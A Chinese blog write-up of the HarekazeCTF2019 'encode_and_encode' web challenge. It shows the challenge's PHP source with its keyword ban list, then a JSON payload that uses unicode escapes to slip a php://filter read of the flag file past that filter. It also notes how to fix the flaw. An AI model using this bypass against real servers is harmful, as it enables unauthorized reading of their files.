来自HarekazeCTF2019的encode_and_encode
确实是第一次见这个知识点 (是什么遮住了我的双眼.jpg)
php的json_decode在遇到unicode编码时会自动把它转换成正常的字符
测试代码:

<?php
$page=json_decode(file_get_contents('php://input'),true);
//$page=json_decode($_POST['page'],true);
echo $page['page'];
echo file_get_contents($page['page']);
?>



不管是post还是php://input都会正常转换
可以绕过一些waf
题目:

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]); 
?>

接受原始post数据在过滤之后进入json_decode处理
然后读取post的文件
用unicode编码绕过waf
题目里本来对flag直接的显示做了过滤
但是buu改了flag格式,应该是不会被过滤的
试了一下直接not found了。。
应该是改过题目
按照预期应该是可以直接读取的
只能上伪协议了
{"page":"php\u003a\/\/filter\/convert.base64-encode\/resource=\/fl\u0061g"}

至于这种漏洞的修复,建议过滤json_decode之后的数据。
参考链接:https://st98.github.io/diary/posts/2019-05-21-harekaze-ctf-2019.html#web-100-encode--encode

分类: 技术

0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注